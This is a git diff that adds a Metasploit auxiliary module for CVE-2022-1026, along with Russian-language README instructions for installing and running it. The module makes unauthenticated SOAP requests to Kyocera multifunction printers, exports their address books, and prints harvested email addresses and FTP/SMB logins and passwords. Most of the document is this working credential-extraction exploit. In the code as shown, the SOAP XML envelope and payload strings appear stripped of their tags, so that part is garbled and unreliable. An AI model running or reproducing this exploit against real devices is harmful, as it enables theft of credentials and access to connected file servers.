diff --git a/README.md b/README.md
index 0c686c4..0fae9e7 100644
--- a/README.md
+++ b/README.md
@@ -35,6 +35,26 @@ python3 getKyoceraCreds.py 10.0.0.10 -o result.txt
(имя, email, FTP/SMB серверы, логины и пароли, если заданы). Обнаруженные пароли дополнительно подсвечиваются
в выводе, а при использовании `-o/--output` все сообщения дублируются в указанный файл.
+## Metasploit module
+Файл `kyocera_address_book.rb` содержит вспомогательный модуль Metasploit,
+повторяющий логику исходного скрипта. Чтобы воспользоваться им, поместите файл в
+`modules/auxiliary/gather/` и загрузите в `msfconsole`:
+```bash
+# Быстрая установка через curl (Linux/macOS)
+mkdir -p ~/.msf4/modules/auxiliary/gather/
+curl -sL https://raw.githubusercontent.com/krolchonok/getKyoceraCreds.py/main/kyocera_address_book.rb -o ~/.msf4/modules/auxiliary/gather/kyocera_address_book.rb
+
+# Или вручную
+cp kyocera_address_book.rb $MSF_ROOT/modules/auxiliary/gather/
+msfconsole -q
+use auxiliary/gather/kyocera_address_book
+set RHOSTS 10.0.0.10
+run
+```
+
+Модуль автоматически создаёт экспорт адресной книги через SOAP, ждёт его готовности,
+загружает результат, сохраняет XML в loot и выводит найденные учётные данные или
+распарсенные записи адресной книги.
diff --git a/kyocera_address_book.rb b/kyocera_address_book.rb
new file mode 100644
index 0000000..84b5133
--- /dev/null
+++ b/kyocera_address_book.rb
@@ -0,0 +1,214 @@
+# frozen_string_literal: true
+
+# Kyocera address book credential extraction for Metasploit
+#
+# This module recreates the behavior of the standalone getKyoceraCreds.py script
+# and allows operators to run it directly inside msfconsole.
+#
+# References:
+# * CVE-2022-1026
+# * https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/
+
+require 'msf/core'
+require 'rexml/document'
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Scanner
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Kyocera Address Book Disclosure (MSF)',
+ 'Description' => %q{
+ Extracts sensitive information (email addresses, SMB/FTP credentials) from
+ vulnerable Kyocera MFPs via the unauthenticated SOAP interface on TCP/9091.
+ The module mirrors the original getKyoceraCreds.py proof of concept and
+ retrieves the full address book, highlighting cleartext credentials when
+ present.
+ },
+ 'Author' => [
+ 'ushastoe',
+ 'Aaron Herndon',
+ 'ac3lives',
+ 'fatalesp',
+ ],
+ 'References' => [
+ ['CVE', '2022-1026'],
+ ['URL', 'https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/']
+ ],
+ 'License' => MSF_LICENSE,
+ 'DefaultOptions' => { 'SSL' => true }
+ )
+ )
+
+ register_options(
+ [
+ Opt::RPORT(9091),
+ OptString.new('TARGETURI', [true, 'SOAP endpoint', '/ws/km-wsdl/setting/address_book']),
+ OptInt.new('WAIT', [true, 'Seconds to wait for address book creation', 5])
+ ]
+ )
+ end
+
+ def run_host(ip)
+ vprint_status("Connecting to #{ip}:#{rport} ...")
+ enumeration = request_enumeration
+ return unless enumeration
+
+ sleep datastore['WAIT']
+ request_address_book(enumeration)
+ end
+
+ private
+
+ def soap_body(action, payload)
+ <<~XML
+
+
+
+ #{action}
+
+ #{payload}
+
+ XML
+ end
+
+ def request_enumeration
+ action = 'http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration'
+ payload = '25'
+
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri),
+ 'method' => 'POST',
+ 'ctype' => 'application/soap+xml',
+ 'data' => soap_body(action, payload)
+ )
+
+ unless res&.code == 200
+ print_error("#{peer} - Unexpected response when requesting enumeration (HTTP #{res&.code || 'No Response'})")
+ return nil
+ end
+
+ enumeration = res.body.to_s[/<[^>]*enumeration>([^<]+)<\/[^>]*enumeration>/, 1]
+ unless enumeration
+ print_error("#{peer} - Failed to parse enumeration token from response")
+ vprint_error(res.body)
+ return nil
+ end
+
+ print_status("#{peer} - Received address book object #{enumeration}; waiting for generation")
+ enumeration
+ end
+
+ def request_address_book(enumeration)
+ action = 'http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list'
+ payload = "#{enumeration}"
+
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri),
+ 'method' => 'POST',
+ 'ctype' => 'application/soap+xml',
+ 'data' => soap_body(action, payload)
+ )
+
+ unless res&.code == 200
+ print_error("#{peer} - Failed to retrieve address book (HTTP #{res&.code || 'No Response'})")
+ return
+ end
+
+ doc = res.get_xml_document
+ unless doc
+ print_error("#{peer} - Unable to parse XML body from address book response")
+ return
+ end
+
+ # Drop namespaces so we can use concise XPath lookups
+ doc.remove_namespaces!
+
+ store_loot('kyocera.address_book.xml', 'text/xml', rhost, res.body, 'address_book.xml', 'Kyocera address book SOAP response')
+ report_results(doc)
+ end
+
+ def credential_entries(doc)
+ interesting = %w[login_name user_name login_password email_address emailaddress]
+ entries = []
+
+ doc.xpath('//*').each do |element|
+ data = {}
+ element.element_children.each do |child|
+ key = child.name
+ next unless interesting.include?(key)
+
+ data[key] = child.text&.strip
+ end
+ entries << data unless data.empty?
+ end
+
+ entries
+ end
+
+ def text_at(element, path)
+ element.at_xpath(path)&.text&.strip
+ end
+
+ def parsed_addresses(doc)
+ addresses = []
+ doc.xpath('//personal_address').each do |addr|
+ addresses << {
+ id: text_at(addr, 'name_information/id'),
+ name: text_at(addr, 'name_information/name'),
+ furigana: text_at(addr, 'name_information/furigana'),
+ email: text_at(addr, 'email_information/address'),
+ ftp_server: text_at(addr, 'ftp_information/server_name'),
+ ftp_port: text_at(addr, 'ftp_information/port_number'),
+ ftp_login: text_at(addr, 'ftp_information/login_name') || text_at(addr, 'ftp_information/user_name'),
+ ftp_password: text_at(addr, 'ftp_information/login_password'),
+ smb_server: text_at(addr, 'smb_information/server_name'),
+ smb_port: text_at(addr, 'smb_information/port_number'),
+ smb_login: text_at(addr, 'smb_information/login_name') || text_at(addr, 'smb_information/user_name'),
+ smb_password: text_at(addr, 'smb_information/login_password')
+ }
+ end
+
+ addresses.reject { |entry| entry.values.all?(&:nil?) }
+ end
+
+ def report_results(doc)
+ entries = credential_entries(doc)
+ if entries.any?
+ print_good("#{peer} - Found #{entries.length} credential-containing entries")
+ entries.each_with_index do |entry, idx|
+ print_good(" [Entry #{idx + 1}]")
+ entry.each do |key, value|
+ next unless value
+
+ label = key.downcase.include?('password') ? "#{key}: #{highlight_password(value)}" : "#{key}: #{value}"
+ print_good(" #{label}")
+ end
+ end
+ end
+
+ addresses = parsed_addresses(doc)
+ return unless addresses.any?
+
+ if entries.empty?
+ print_status("#{peer} - No explicit credentials found; displaying parsed address book entries")
+ end
+
+ addresses.each_with_index do |addr, idx|
+ print_status(" [Contact #{idx + 1}]")
+ addr.each do |key, value|
+ next if value.nil? || value.empty?
+
+ label = key.to_s.downcase.include?('password') ? "#{key}: #{highlight_password(value)}" : "#{key}: #{value}"
+ print_status(" #{label}")
+ end
+ end
+ end
+
+ def highlight_password(value)
+ datastore['ConsoleDriver'] ? "\e[91m!! ПАРОЛЬ: #{value} !!\e[0m" : "!! ПАРОЛЬ: #{value} !!"
+ end
+end